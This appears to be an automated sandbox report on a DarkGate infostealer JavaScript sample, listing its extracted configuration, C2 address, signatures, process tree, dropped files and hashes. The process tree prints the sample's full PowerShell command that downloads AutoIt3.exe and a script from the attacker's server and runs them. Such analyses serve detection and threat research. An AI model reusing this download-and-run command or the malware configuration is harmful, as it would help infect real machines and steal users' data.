Analysis

  • max time kernel
    122s
  • max time network
    166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2023, 16:23

General

  • Target
    5f475d11b0914f11.js
  • Size 254KB
  • Sample231107-tvsf5sbf5s
  • SHA256 00f25f4e27938650e42747fc5b85d87e040d8c79db82c72ccf05ca03c8d32771
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • user_871236672

C2
  • http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    hxFtopOWuHrZAv

  • internal_mutex

    txtMut

  • minimum_disk

    41

  • minimum_ram

    6002

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" asfgadcz.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4804

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_yvi0ofxq.lxm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvi0ofxq.lxm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        asfgadcz.au3

        • Path C:\tepp\asfgadcz.au3
        • Size 622KB
        • SHA256 89b9d335c4c669acf78b86ac3f57574de82aa2edd7c2415e32c596b01f5bb5b3
        • MD5 SHA1 SHA512 SSDEEP

        memory/4408-5-0x000001E66A820000-0x000001E66A842000-memory.dmp

        memory/4408-10-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

        memory/4408-11-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

        memory/4408-12-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

        memory/4408-26-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

        memory/4804-29-0x0000000003AD0000-0x0000000003CD0000-memory.dmp

        memory/4804-30-0x00000000047D0000-0x0000000004965000-memory.dmp

        memory/4804-31-0x00000000047D0000-0x0000000004965000-memory.dmp